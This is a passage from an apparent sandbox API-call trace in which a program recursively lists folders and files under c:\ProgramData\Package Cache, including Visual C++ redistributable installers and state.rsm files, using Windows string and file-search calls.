Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\" [0040.220] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned 79 [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*" [0040.220] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.220] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.220] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.220] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.220] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.220] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.220] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.220] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.220] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\") returned 79 [0040.220] lstrlenW (lpString="packages") returned 8 [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="c:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0040.220] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.220] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.220] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.220] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1 [0040.220] lstrcmpW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1 [0040.220] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.220] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49 [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\" [0040.220] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned 79 [0040.220] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*" [0040.220] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.220] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.220] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.220] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.220] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.220] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.220] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.220] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.221] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\") returned 79 [0040.221] lstrlenW (lpString="packages") returned 8 [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages" [0040.221] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.221] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.221] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.221] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1 [0040.221] lstrcmpW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1 [0040.221] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.221] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49 [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\" [0040.221] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned 79 [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*" [0040.221] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.221] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.221] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.221] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.221] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.221] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.221] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.221] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.221] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\") returned 79 [0040.221] lstrlenW (lpString="packages") returned 8 [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages" [0040.221] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.221] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.221] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.221] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1 [0040.221] lstrcmpW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1 [0040.221] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.221] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38 [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\" [0040.221] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0040.221] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*" [0040.221] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.221] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.221] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.221] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.221] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.222] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.222] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0040.222] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0040.222] lstrlenW (lpString="state.rsm") returned 9 [0040.222] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned 77 [0040.222] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.222] lstrcmpW (lpString1="vcredist_x64.exe", lpString2=".") returned 1 [0040.222] lstrcmpW (lpString1="vcredist_x64.exe", lpString2="..") returned 1 [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\") returned 68 [0040.222] lstrlenW (lpString="vcredist_x64.exe") returned 16 [0040.222] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\", lpString2="vcredist_x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe") returned 84 [0040.222] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.222] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.222] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.222] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1 [0040.222] lstrcmpW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1 [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.222] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49 [0040.222] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0040.222] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned 79 [0040.222] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0040.222] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.222] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.222] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.222] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.222] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.222] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.222] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.222] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned 79 [0040.222] lstrlenW (lpString="packages") returned 8 [0040.222] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="c:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0040.222] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.222] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.222] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.222] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2=".") returned 1 [0040.222] lstrcmpW (lpString1="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="..") returned 1 [0040.222] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.223] lstrlenW (lpString="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned 50 [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned 80 [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0040.223] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.223] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.223] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.223] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.223] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.223] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.223] lstrcmpW (lpString1="packages", lpString2=".") returned 1 [0040.223] lstrcmpW (lpString1="packages", lpString2="..") returned 1 [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned 80 [0040.223] lstrlenW (lpString="packages") returned 8 [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\", lpString2="packages" | out: lpString1="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="c:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0040.223] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.223] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.223] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.223] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2=".") returned 1 [0040.223] lstrcmpW (lpString1="{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="..") returned 1 [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.223] lstrlenW (lpString="{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 38 [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0040.223] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.223] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.223] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.223] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.223] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.223] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.223] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0040.223] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0040.223] lstrlenW (lpString="state.rsm") returned 9 [0040.223] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="state.rsm" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0040.223] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.223] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2=".") returned 1 [0040.223] lstrcmpW (lpString1="VC_redist.x64.exe", lpString2="..") returned 1 [0040.223] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned 68 [0040.224] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\", lpString2="VC_redist.x64.exe" | out: lpString1="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0040.224] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0 [0040.224] FindClose (in: hFindFile=0x775d58 | out: hFindFile=0x775d58) returned 1 [0040.224] FindNextFileW (in: hFindFile=0x775d18, lpFindFileData=0x3ded0c | out: lpFindFileData=0x3ded0c) returned 1 [0040.224] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2=".") returned 1 [0040.224] lstrcmpW (lpString1="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="..") returned 1 [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\") returned 29 [0040.224] lstrlenW (lpString="{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 38 [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\", lpString2="{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpString2="\\" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0040.224] lstrcatW (in: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\", lpString2="*" | out: lpString1="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0040.224] FindFirstFileW (in: lpFileName="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 0x775d58 [0040.224] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0040.224] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.224] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0040.224] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0040.224] FindNextFileW (in: hFindFile=0x775d58, lpFindFileData=0x3dea50 | out: lpFindFileData=0x3dea50) returned 1 [0040.224] lstrcmpW (lpString1="state.rsm", lpString2=".") returned 1 [0040.224] lstrcmpW (lpString1="state.rsm", lpString2="..") returned 1 [0040.224] lstrlenW (lpString="c:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned 68 [0040.224] lstrlenW (lpString="state.rsm") returned 9 [0040.224] lstrcatW (in: 